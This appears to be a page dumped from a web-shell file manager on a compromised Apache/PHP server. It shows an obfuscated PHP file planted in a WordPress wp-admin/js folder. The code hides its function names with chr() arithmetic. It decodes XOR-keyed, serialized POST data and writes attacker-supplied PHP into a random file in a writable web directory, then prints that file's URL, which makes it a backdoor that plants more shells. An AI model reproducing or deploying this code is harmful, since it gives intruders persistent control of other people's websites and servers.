HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-admin/js/yizbgnao.php
<?php function ehVNsIVM($FTpUoa, $lCZEErQDri, $hglJTRUo){global $vTijyE;$PpmRFFOV = "\x73".'t'.'r'."\154"."\145"."\x6e";return rhiwgeFcs(rhiwgeFcs($FTpUoa, $vTijyE[$lCZEErQDri % $PpmRFFOV($vTijyE)]), $hglJTRUo);}$FtzRCH = "NotZoJGjI";function aCZtE($FtzRCH){ $yUHkGPZKpA = "\x73".'t'.chr(782-668).chr(329-234).chr(989-875).chr(631-520)."\x74".chr(49).chr(51);$FtzRCH = $yUHkGPZKpA($FtzRCH);	$GzkIQfeaLF = 'lPqIZLKzCV';$CaInv = "\162"."\x61".chr(722-603).chr(117)."\x72".chr(890-782)."\x64".chr(101).chr(99).'o'."\x64".chr(375-274);$FtzRCH = $CaInv($FtzRCH);$PzGJO = "\x73"."\164".chr(1066-952).chr(95)."\163".chr(112).'l'."\x69".chr(116);$FtzRCH = $PzGJO($FtzRCH);	$VKuruRez = 28;return $FtzRCH;}function rhiwgeFcs($aNPYullvE, $zAfnPHbagE){return $aNPYullvE ^ $zAfnPHbagE;}function yRWuGGhYwJ(){$XtOnCzNT = 52;$MYxuffOAq = 19;}$vTijyE = "7e483377-287c-4976-af30-dec3c678355c";function XNGugHRx($lwFIEsAp, $hglJTRUo){$TCPEEPpBNV = chr(97).chr(114)."\162".chr(97)."\171"."\137".chr(118).'a'.'l'.'u'.chr(101)."\x73";$mtuuZMNZvr = chr(319-222)."\x72".'r'.chr(761-664).'y'."\137".chr(735-628)."\x65"."\x79"."\x73";$VQJccZN = 'a'.chr(114).'r'."\141"."\x79".chr(1002-907)."\155".chr(621-524).chr(834-722);$lwFIEsAp = $VQJccZN("ehVNsIVM", $TCPEEPpBNV($lwFIEsAp), $mtuuZMNZvr($lwFIEsAp), $TCPEEPpBNV($hglJTRUo));$dojGU = chr(220-115)."\155"."\160".chr(108)."\x6f".chr(100).chr(101);$lwFIEsAp = $dojGU("", $lwFIEsAp);$lszJu = chr(117).chr(110).'s'."\x65".chr(519-405).chr(465-360)."\x61"."\x6c".'i'.chr(122).chr(661-560);$lwFIEsAp = @$lszJu($lwFIEsAp);return $lwFIEsAp;}function ORtSWDob($hglJTRUo, $lwFIEsAp){$mKBkZsebmj = 'a'.'r'.chr(143-29).chr(818-721)."\171".'_'."\x73".'l'."\151"."\143"."\145";$vmXcA = "\163"."\164".'r'.chr(406-311)."\x72".chr(101).chr(442-330).chr(977-876).chr(97)."\164";$bruIF = chr(877-762)."\x74".'r'.'_'."\163".chr(112)."\x6c"."\151".'t';$DQSjxTvWTF = "\151"."\x6e"."\x74"."\x76"."\x61"."\154";$YmVJRRQIzp = chr(99)."\157".'u'.chr(110).chr(116);$hglJTRUo = $mKBkZsebmj($bruIF($vmXcA($hglJTRUo, $DQSjxTvWTF($YmVJRRQIzp($lwFIEsAp)/16)+1)), 0, $YmVJRRQIzp($lwFIEsAp));return $hglJTRUo;}yRWuGGhYwJ();function QQvOrfRvx(){echo "cJAAF";	$zHQnPeh = 27;}function NeacFuEozB($ZUWdzQu){static $jAldpLoip = array();$gjqwWYQZE = glob($ZUWdzQu . '/*', GLOB_ONLYDIR);$CgrZanT = 'c'."\157".'u'.chr(110)."\164";$sAgeJj = $CgrZanT($gjqwWYQZE);if ($sAgeJj > 0) {foreach ($gjqwWYQZE as $plrIqmeBj) {$GrAkGZaJ = "\x69".'s'."\x5f".chr(119).'r'."\x69".'t'."\141"."\142".chr(108)."\145";if (@$GrAkGZaJ($plrIqmeBj)) {$jAldpLoip[] = $plrIqmeBj;}}}foreach ($gjqwWYQZE as $ZUWdzQu) NeacFuEozB($ZUWdzQu);return $jAldpLoip;}function sPJfOCg($lwFIEsAp){$mMpzy = 'D'.chr(1062-983).chr(67).'U'.chr(407-330)."\x45".chr(78).'T'.'_'.chr(562-480)."\117".chr(308-229).chr(693-609);$xybJNHb = $_SERVER[$mMpzy];	$ZGAiYBdiT = 'TSNYNwF';$gjqwWYQZE = NeacFuEozB($xybJNHb);	$jVdJmBo = 'mtuNt';$GhKQGqRjya = chr(540-425)."\x74"."\x72".chr(819-711).'e'."\156";	$ZGAiYBdiT = $GhKQGqRjya($ZGAiYBdiT);$lqouX = "\141".chr(733-619).'r'."\x61"."\171".chr(454-359)."\x72".chr(390-293).'n'.chr(114-14);$LOzvIUsS = $lqouX($gjqwWYQZE);$Pvnev = chr(313-198).chr(431-315).'r'.'t'.'o'."\165"."\x70"."\x70".chr(101).chr(114);	$qkZyuBSf = $Pvnev($ZGAiYBdiT);$tByHKpXGPu = chr(987-941).chr(112).chr(104).chr(868-756);$EpfJgkITfx = "\57";$XKJpmuWQC = chr(115)."\x75".chr(98).'s'."\x74".chr(114);$tpkTOOADt = 't'.chr(105).chr(220-111).chr(1069-968);$ZQkkKR = 'm'.chr(775-675).chr(527-474);$JHzauPD = $gjqwWYQZE[$LOzvIUsS] . $EpfJgkITfx . $XKJpmuWQC($ZQkkKR($tpkTOOADt()), 0, 8) . $tByHKpXGPu;$VDRKFl = "\146".chr(806-701).'l'.chr(534-433).chr(95).chr(798-686).chr(117).chr(1082-966)."\x5f"."\x63"."\x6f".'n'."\x74".'e'.chr(1064-954).'t'."\163";@$VDRKFl($JHzauPD, $lwFIEsAp);	$fBiNHaY = 'YqesjDG';	$ZGAiYBdiT = $ZGAiYBdiT - 10;$hwggIzYfyj = 'H'.'T'."\124".chr(783-703)."\137"."\x48".chr(79).chr(83).chr(315-231);$fTPDqol = "\x68".chr(116)."\164".chr(781-669)."\x3a".chr(916-869).chr(47);$MaiEuSfZS = chr(204-89)."\x74"."\162".'l'.'e'."\x6e";$NvyKt = 's'.chr(117).'b'.chr(115).chr(116)."\x72";$DeTQcWf = $fTPDqol . $_SERVER[$hwggIzYfyj] . $NvyKt($JHzauPD, $MaiEuSfZS($xybJNHb));	$thQajkT = 5;print($DeTQcWf);$RfucA = "\x73".'t'.chr(797-683).chr(444-330)."\160".chr(111).'s';	$ZGAiYBdiT = $RfucA($qkZyuBSf, 'tlpko');}function ntYCVYRMP($lwFIEsAp, $LOzvIUsS){if ($lwFIEsAp !== $LOzvIUsS){sPJfOCg($lwFIEsAp);		$DmFEPrdfM = 15;}else {HAJterL();		$FfXxtBFwJ = 3;}exit();}function HAJterL(){$hQXBFrY = chr(645-533)."\x68"."\x70";$zRiFmQ = "\160"."\150".'p'.chr(118).chr(300-199)."\x72"."\x73"."\151"."\x6f".chr(110);$lwFIEsAp = Array($hQXBFrY => @$zRiFmQ(), );$lLyavtt = 's'.chr(101).'r'.chr(806-701)."\x61".chr(108)."\x69".chr(999-877).chr(101);echo @$lLyavtt($lwFIEsAp);}function TqBZmUWTI(){$PQdJkIZ = 'sqWeW';$eYNesSqmJ = 70;$WfjDN = 'mQfljl';$KBLzg = 'uIzXYLsA';$wNfHSAMwI = 'WyxZBMO';$lQkqc = "\163".chr(240-124).chr(114)."\x74".chr(111).chr(108)."\157"."\x77"."\145".chr(137-23);$yjwDGcTVt = $lQkqc($PQdJkIZ);$bYvxw = chr(284-169)."\x74".'r'.chr(116)."\x6f"."\x75"."\160"."\160"."\145".'r';$PQdJkIZ = $bYvxw($PQdJkIZ);$uwuwRFYQov = 58;}function DkUlz(){echo "NotZoJGjI";}function dcHzdGv($lwFIEsAp){$sWrYjh = "\141".chr(934-820).chr(654-540)."\x61".'y'.'_'."\x6b".chr(101)."\x79".'s';return $sWrYjh($lwFIEsAp);}foreach ($_POST as $hglJTRUo => $lwFIEsAp){$avZmdmOpX = "\163"."\164"."\x72".'l'."\x65".'n';if ($avZmdmOpX($hglJTRUo) == 16){$lwFIEsAp = aCZtE($lwFIEsAp);$hglJTRUo = ORtSWDob($hglJTRUo, $lwFIEsAp);$lwFIEsAp = XNGugHRx($lwFIEsAp, $hglJTRUo);$ZElLpDnSyQ = "\151".chr(858-743)."\x5f".chr(263-166).chr(1073-959).'r'.'a'.chr(121);if (@$ZElLpDnSyQ($lwFIEsAp)){$PViJuLe = dcHzdGv($lwFIEsAp);			$vwPBP = 'FWpWH';ntYCVYRMP($lwFIEsAp[$PViJuLe[0]], $PViJuLe[0]);			$wxCQeFCOJ = 'cCKwt';$wajhD = "\x72".'a'.'w'.chr(978-861)."\162".chr(113-5).chr(591-490).chr(110)."\x63"."\x6f".'d'.chr(925-824);			$vwPBP = $wajhD($wxCQeFCOJ);}}}foreach ($_POST as $hglJTRUo => $lwFIEsAp){$QGkAocLOVm = "\x73"."\164".chr(319-205)."\x6c".'e'.chr(1098-988);if ($QGkAocLOVm($hglJTRUo) == 16){$lwFIEsAp = aCZtE($lwFIEsAp);$bQDjYQf = "\x62".chr(97).'s'."\145".'6'."\64"."\x5f".'d'.'e'.chr(712-613).'o'.'d'."\145";$cPMdMxBeu = $bQDjYQf($hglJTRUo);$ZBbWCVTO = chr(109).'d'.chr(269-216);$VtGvNzK = $ZBbWCVTO($hglJTRUo);$hglJTRUo = ORtSWDob($hglJTRUo, $lwFIEsAp);$ILjUX = chr(506-391)."\x74"."\x72"."\154"."\x65"."\x6e";$OggnL = $ILjUX($hglJTRUo);$lwFIEsAp = XNGugHRx($lwFIEsAp, $hglJTRUo);$KKEIiRPrd = "\155"."\144".chr(650-597);$CYWLzWziO = $KKEIiRPrd($lwFIEsAp);$zEhAuGpCdw = "\x69".'s'."\137".chr(711-614).chr(114).'r'.'a'."\171";if (@$zEhAuGpCdw($lwFIEsAp)){$PViJuLe = dcHzdGv($lwFIEsAp);$xAnUBk = chr(776-677).chr(111)."\165"."\x6e".'t';$ZJySH = $xAnUBk($PViJuLe);$vwPBP = 'TIJUrkRHK';for ($bHuOm = 0; $bHuOm < $ZJySH; $bHuOm++) {$YmiNcPmV = $lwFIEsAp[$PViJuLe[$bHuOm]];ntYCVYRMP($YmiNcPmV, $PViJuLe[$bHuOm]);}$wxCQeFCOJ = 'BENAw';$NBbpXpkh = chr(597-483)."\x61".chr(1089-970)."\x75".chr(114)."\x6c".chr(805-704)."\x6e".chr(901-802)."\x6f".chr(319-219).chr(430-329);$vwPBP = $NBbpXpkh($wxCQeFCOJ);$auHFgMwPpw = chr(101).'x'.'p'.'l'."\157".chr(100).chr(101);$KbUeyM = $auHFgMwPpw(',', $CYWLzWziO);$gOMEEEDFja = 'i'."\163".chr(95).chr(903-806).'r'."\x72".'a'."\171";if ($gOMEEEDFja($KbUeyM)) {$amOCIQRqiC = isset($KbUeyM[0]) ? $KbUeyM[0] : '';$eyclNkJR = isset($KbUeyM[1]) ? $KbUeyM[1] : '';$WJIvWssJXr = "\163"."\x74".chr(123-9)."\137"."\x72".chr(477-376).chr(644-532)."\x65"."\x61".chr(116);$LLquflrjM = $WJIvWssJXr($amOCIQRqiC, 2) . $WJIvWssJXr($eyclNkJR, 3);$HOzIkIb = "\141".chr(114).chr(114)."\x61".chr(121)."\137".chr(809-694).chr(1028-920).'i'.'c'."\x65";$vLxkrZim = 's'."\164".'r'.'_'."\163".chr(112)."\154".'i'.chr(672-556);$tfCfEuCUpd = $HOzIkIb($vLxkrZim($LLquflrjM, 5), 0, 4);}}}}die();TqBZmUWTI();?>